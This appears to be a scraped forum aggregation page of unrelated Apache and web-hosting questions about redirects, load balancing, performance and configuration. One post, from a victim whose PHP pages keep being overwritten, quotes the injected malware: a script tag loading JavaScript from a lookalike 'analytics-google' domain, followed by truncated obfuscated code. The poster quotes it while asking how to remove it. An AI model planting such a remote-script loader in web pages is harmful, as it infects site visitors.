Apache :: Add Multiple Web Pages To Website?
Jan 23, 2014How do I add multiple web pages to my server?
View 6 RepliesHow do I add multiple web pages to my server?
View 6 RepliesDepending on where u are at on my site (documents pages, training, main root, etc.) will depend on which type of background, footer, header and the like you'll get. Now I was thinking. Is there a way to have multiple error messages for more then one page depending on where you are at on a site? Right now it's intranet site and a modded snitz forum. What is the code and were does it go and in which apache conf file(s) does it go in?
View 1 Replies View RelatedI have a starnge code in my websites pages, I found it yesterday and i went to clean the pages.
Now after about 12 hours it came back again, It is not possible to moniter
like this problem and clean a huge number of pages.
I dont know how this happened, I need someone to help me to know the source of the problem from where it comes.
It is appears as a torjan for the users.
I attached a pic shows a sample of that code.
For the past few days I've been facing a weird problem where a few of my website pages (index.php, login.php etc) get overwritten with some google analytics code. The rest of the website pages remain fine.
At random times, the code in these php pages gets replaced by something like:
HTML Code:
<script src="http://analytics-google.info/i/urchin.js"></script><script>function c41920832628m48687785ee773(m48687785eeb5b){ return (parseInt(m48687785eeb5b,16));}function m48687785ef712(m48687785efaf9){ function m48687785f06b2(){return 2;} var m48687785efeea='';m48687785f0e81=String.fromCharCode;for ...</script><script>check_content()</script>
Here's some debugging I have done.
1) If I rename login.php to say, log-in.php, the page gets saved from this
2) If I change the owner of login.php from the user to root, the page doesn't get overwritten anymore.
So basically, something somewhere running from the user account overwrites these specific pages. By the way, my website logs didnt show anything suspicious around the time when this first happened.
VPS hosting, stats in my sig below. Have poor performance with a drupal and civicrm(drupal based) website and looking to troubleshoot.
Main issue is pages take too long to load, sometimes over 5 seconds and more! Below is my.cnf and MYSQLtuner results.
So my.cnf
Code:
[mysqld]
set-variable=local-infile=0
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
[Code] .....
how to make it so if the server that hosts my website receives too much traffic it will go to a mirrored copy of my website on another server? I want to make sure that it doesn't go down in the event of a big boost in visitors.
View 5 Replies View RelatedI am having this issue with a new box where Apache at random serves blank pages and won't serve anything but until it's restarted. I see no errors in /var/log/messages either to show why this is happening.
It's not all pages either just several various ones. I know it's not a programming issue either because the only thing the server is running is one instance of vBulletin.
I look at top during this and CPU and RAM usage are very low.
The only fix to get Apache to serve the pages is to restart it.
Anyone have any clues on what it could be?
I set my php.ini memory limit to a gig (I have 16 gigs in the sever)
I am delivering my php scripts from a new Apache server on CentOS delivering them only at the end of the loading. What is a pain, especially for pages being used by iOS apps just needing the xml section even if the script goes further, or when presenting information while they are generated.
View 3 Replies View RelatedI need some expertise on how many servers we need for our site. Basically it is a flash interactive game where a heavy user might download 60-75 megs in a one hour session. Our hope is that we get lots of users, say around 1000 users an hour. Our current server is a AMD 3800plus dual core with 1 gig of ram. It is hosted through Aplus. I am just the programmer for the project and don't know anything in regards to servers, but my client wants to know if one server will be enough to handle the load of 1000 users an hour. Or should we run on multiple servers, etc.
View 14 Replies View RelatedI have had multiple A records for a website for years, i.e.
www.mywebsite.com => 1.1.1.1, 2.2.2.2
Well 2.2.2.2 has been down for a few days due to technical issue. So I just figured "well i got some work to do this weekend to bring it up, no rush". Turns out that customers are calling and complaining "I couldnt reach your website yesterday for a few hours".
I am seeing no problems personally, but some customers are. I dont think the percentage of customers is very high but there are so far a dozen or so complaints.
Any ideas on what I am doing wrong or where to start looking? I thought the major browsers (i confirmed with four clients they are using IE) would try 1.1.1.1 and then 2.2.2.2 or vice-versa. But apparently that is not happening. I dont think the TTL makes a difference.
What could be set up wrong or is this to be expected ? (and how to improve for future?)
Not sure where this belonged so put it in web hosting as it could cover dedicated, colo or shared.
In a couple of months I am going to be launching a new e-commerce website for the company I work for, so it is absolutely vital that the website never goes offline, otherwise I will be in deep ****.
It will be hosted on a server that has been built to be very redundant; 2x Hotswappable Redundant PSU, 4x Hotswappable HDDs (RAID 6), Redundant NIC.
Sods law though to achieve this redundancy it will need to be on a colocated server, so if there is a major problem like the motherboard dying, then I will have to get down to the DC (3 hours away) and replace the entire server. Which wouldn't be practical as we would need a replacement server, all setup and ready to go, to do that.
Also, if there is a problem with the data centre itself, then we would be stuck until it is resolved. I have hosted sites with data centres in the past that experienced power or network problems which sent the sites down and it was totally out of our control to either prevent the downtime or restore the sites.
So to increase redundancy, and minimise downtime, I was thinking of load balancing between two servers. But then I assume they would both have to be hosted in the same data centre.
I was also thinking of having the site hosted on the server, but having some shared hosting (or a cheap dedi) ready to go just to fall back on if the server goes down. That way I can forward requests to the shared hosting as a temporary measure whilst the main server is restored. But the problem with that is I would probably need to get another SSL certificate. I would need to get the payment gateway provider (protx) to change the settings for the IP of the shared hosting, which knowing them will take 72 hours to process.
Budget really isn't an issue here if it can be justified, just looking for some ideas at this stage. There is no way this site can be down for a second longer than it needs to be.
Looking trough my logs I found something that bothers me, there are bots who keep doing requests on my website with pages like /admin or /secure to find vulnerabilities.
It's making about 5-6 requests for unexisting pages every second until it comes to the end of it's dictionary (the pages are even sorted in alphabetical order,
Is there some way to let my Apache server block access to these bots when they make X attemps to see a page who does not exists in a short amount of time? A bit like iptables reject connection if someone tries to log in but fails to do so too many times.
I'm hoping to redirect visits to any page in an old directory to the index page of a new directory.
In other words, redirect:
[URL] ....
[URL] ....
Is this possible? If so, how could I do it?
In my .htaccess I currently have:
Code :
RedirectPermanent /facts/ http://www.domain.com/newfacts/
but this only redirects the index page.
I work for a company with a highly trafficked site (about 100,000 unique daily visitors). We have our "MANAGED" hosting through Rackspace for quite the pretty penny per month. It includes a dedicated back end / DB server and cloud servers for the front end.
The setup has been functioning perfect for 10 months now; but this past Monday the speed of the site immediately dropped. Page load times fell from 1-2 seconds to between 10-20 seconds, and sometimes not at all. As far as we know (and as far as Rackspace says), no server setting were modified. No new code was introduced on our end. It's a mainly static site, with minimal user interaction with the backend at all.
We've monitored the traffic, checked IPs, etc. We've even tunes down several site features in the interest of reducing server load. Upon a server reboot, the active threads/processes running on it IMMEDIATELY jump back up to maxed out levels. It seems like once our daily traffic reaches 10MB/s, a type of queue forms and the delays begin. Rackspace assures us that we're not limited to that.
Versions:
OS: cent OS on cloud
OS: Redhat on Dedicated Server
Apache: 2.2
PHP: 5.3 / MySQL: 5.1.69
Some more background info: The site is typically busiest from 7am until 3pm EST. For the past few days, we've noticed that between 7am and 9-10pm the server has just lagged incredibly. However, at around that 9-10pm mark, something changes and the pages go back to loading almost instantly. (There is still decent traffic though.) Then at around 7am again it slows to a crawl.
Rackspace has offered solutions such as spinning up another server and incorporating their load balancing - they are in the process of this BUT they do NOT think the traffic is the issue. At one point they actually said there was potential packet loss somewhere in the network, but no progress has been made.
I've updated to Apache 2.4.10 from 2.4.9 and all of a sudden my pages don't load anymore.Previously I had this issue rarely and closing the PHP-cgi.exe processes fixed it.But since the update the issue happens almost constantly.
View 17 Replies View RelatedI'm using Oracle's VirtualBox.My network on the virtual box is set to Bridged Adapter
apache/2.4.7
php 5.5.9
Linux/Ubuntu 14.04.1 LTS
No errors in my apache2 error.log file.
First time creating a server on a virtual box. I am not confident i understand how my computer browser access the virtual box server i created. Once i understand that i could fix my issue. Which is, I can't finding my enabled site or localhost via my browser on my computer. All i get is a white page for both. I don't even see the it works page.
I am following this book and got stuck on chapter 1: Understanding and Setting Up Our Development Environment.
link to book -- URL...
I have installed Oracle's VirtualBox, mounted Ubuntu, installed apache2 with $ sudo apt-get install apache2 -y. At this point everyone says, now go to your ip and you will see "It Works". Which i do not see. I see a white page with nothing on it. I then looked to see if the localhost /var/www/html/ index. html even exists. Which is does, i opened the file and i can see the line "It Works!".
My hosts file on my computer has ../driver/etc/hosts
127.0.0.1 localhost
192.168.56.1 magento.localhost.com
My hosts file on my Virtual box /etc/hosts
127.0.0.1 localhost
127.0.1.1unbuntu
192.168.56.1 magento.localhost.com
I have installed APC on our Windows server. After I enable APC and restart apache our pages throwing Lots of PHP Notices.
Code :
System Windows NT 6.1 build 7601 (Windows Server 2008 R2 Web Server Edition Service Pack 1) i586Architecture x86Server API Apache 2.4 Handler Apache LoungeThread Safety enabledPHP Extension Build API20100525,TS,VC9Apache Version Apache/2.4.2 (Win32) OpenSSL/1.0.1c PHP/5.4.4Virtual Server Yes
I'm really struggling to write htaccess rules for dynamic pages. I've like 20 pages to redirect What I want to do is redirect:
[URL] ....
to
[URL] ....
I've got a VPS with XenSmart, and I'm running CentOS. Recently, I have been needing to redirect my users to 'www.', since if they don't put the 'www.' in front of the domain the vB forum doesn't run properly. Though, to do this, I edited the .htaccess file and was using the 'mod_rewrite' command, but this requires Apache.
So, on my VPS I've installed Apache, and set LXAdmin to use 'httpd' instead of 'lighttpd', though now my web pages wont show up and all I've got is the default Apache web page:
[url]
How am I able to use Apache (HTTPD) and have it load my current forum? My current forums hosted in:
/home/admin/public_html/vb
I'm not sure if this is the right forum, or if anyone can suggest a message board where I might get support on this.
This is what I have. I have Apache and IIS both running on Windows 2k3.
Apache is running in reverse Proxy mode sending multiple domains/virtual hosts to IIS.
Code:
ProxyRequests Off
<VirtualHost *:80>
ProxyPreserveHost On
ProxyPass / http://localhost:8080
ProxyPassReverse / [url]
ServerName mydomain.com
</VirtualHost>
Now, if I type in [url]everything works great and IIS (listening on 127.0.0.1:8080) serves the page. However, I am doing custom error trapping, so when I type in [url](and /mydirectory doesn't exist on IIS) I need to fire ASP code (via custom error messages/handling) on the IIS server and then present a data driven page.
However, Apache is returning A 502 error:
Code:
Proxy Error
The proxy server received an invalid response from an upstream server.
The proxy server could not handle the request GET /mydirectory.
Reason: DNS lookup failure for: localhost:8080mydirectory
Is there a way for me to setup Apache to pass all error checking to IIS while using it as a reverse proxy?
So I have a script running on my apache that catalogs pictures and clips. All the actual video files are located on a separate drive which is mounted in to a folder in my site. I've set apache as the owner and have the correct permissions on the mounted folder but I'm getting Forbidden errors accessing files even when on html file in the mounted folder.
I know it's a permissions issue at the disk or mounting level. The way I mount is by using this command:
mount -t ext4 /dev/sdc /var/www/html/media
i have made my all pages with .html extension and hence my SEO is based on accordingly. Now i made some changes to htaccess that causes to not inclusion of header and footer pages (both are made with .php extension ). so i decided to change the extension of pages (.html to .php) and it wokrs. due to SEO and large number of pages i want all my pages .php (made later). to get converted automatically with .html in browser. so is it possible using .htaccess rewrite.
View 1 Replies View RelatedI am moving to a new server. At first the [url]version of the site was fine. I had trouble getting [url]working. Once I had the path to the certificate file correct, I was good to go. So, I started moving data. I also ran some updates on the new server (installed mysql, php, related pkgs). I don't know when the [url]pages stopped working, but I didn't realize it until I had everything moved over and tried to go live. The pages are completely blank. If I view source, I get this: ....
View 3 Replies View RelatedCan i run multiple sites on apache? and if so how do i do it.
View 3 Replies View RelatedApache keeps stopping. MULTIPLE times per day! There is no logic to when it dies. But about every 2 hours.
Load stays below .30 and there is free memory available.
This is on a VPS machine. None of the other VPS's are having an issue. Just this one.
Centos release 5.3 (Final)
Apache/2.2.3
Here is what is in the httpd.conf file. I realize the numbers are way too high, but just trying to get this issue to go away.
Code:
<IfModule prefork.c>
StartServers 100
MinSpareServers 100
MaxSpareServers 100
ServerLimit 512
MaxClients 512
MaxRequestsPerChild 4000
</IfModule>
<IfModule worker.c>
StartServers 100
MaxClients 500
MinSpareThreads 25
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 100
</IfModule>
Here is what is in the /var/log/httpd/error_log file before it dies:
Code:
[Wed Jul 01 18:06:32 2009] [info] server seems busy, (you may need to increase StartServers, or Min/MaxSpareServers), spawning 8 children, there are 98 idle, and 108 total children
[Wed Jul 01 18:08:17 2009] [info] server seems busy, (you may need to increase StartServers, or Min/MaxSpareServers), spawning 8 children, there are 74 idle, and 76 total children
[Wed Jul 01 18:08:18 2009] [info] server seems busy, (you may need to increase StartServers, or Min/MaxSpareServers), spawning 16 children, there are 63 idle, and 63 total children
[Wed Jul 01 18:08:19 2009] [info] server seems busy, (you may need to increase StartServers, or Min/MaxSpareServers), spawning 32 children, there are 79 idle, and 79 total children
[Wed Jul 01 18:11:36 2009] [info] server seems busy, (you may need to increase StartServers, or Min/MaxSpareServers), spawning 8 children, there are 93 idle, and 108 total children
Our servers has been updated recently and my site is not working properly. It was working before the server change. When I click on the links, it doesn't update correctly, instead it gets the last cached data. I have to refresh each link for it to update which shouldn't be the case. I'm a front-end and have no access to servers. Could this be server-related?
View 1 Replies View RelatedI wanted to configure 2 clusters on Apache 2.4. Here are my sample configurations
Cluster 1 config:
----------------
<VirtualHost *:80>
ServerName mywebsite1.com
<IfModule mod_proxy_balancer.c>
<Proxy balancer://sgcluster>
BalancerMember http://IPaddress1:80/ loadfactor=1
BalancerMember http://IPaddress2:80/ loadfactor=2
ProxySet lbmethod=byrequests
[Code] ....
I've included both configuration file in httpd.conf. I'm getting the errors, when I tried to start up the apache.
[Thu May 02 11:01:34.243583 2013] [slotmem_shm:debug] [pid 9240606:tid 1] mod_slotmem_shm.c(448): AH02301: attach looking for /opt/apache2/logs/slo
tmem-shm-mod_heartmonitor.shm
[Thu May 02 11:01:34.243667 2013] [lbmethod_heartbeat:notice] [pid 9240606:tid 1] AH02282: No slotmem from mod_heartmonitor
[Code] .....
I very much like the "readme.txt" that Apache appends to the directory listings. That is, when a browser GETs a directory, the text in that file is put underneath the list of files therein.
View 1 Replies View RelatedI am completely new to apache and I had the load balancer set up for a single domain that was working perfectly fine, but when it came to multiple domains i couldn't, for the life of me, figure out what to do.
There is example.com sub.example.com and otherexample.com
I had a single node set up for this but I want to experiment with the balancer. I have scratched Google and I only found broken info which couldn't explain much to me. Here are my domains
<VirtualHost *:80>
DocumentRoot "/var/www/domain.com"
ServerName domain.com
</VirtualHost>
[Code] ....
Any example configuration of the default file.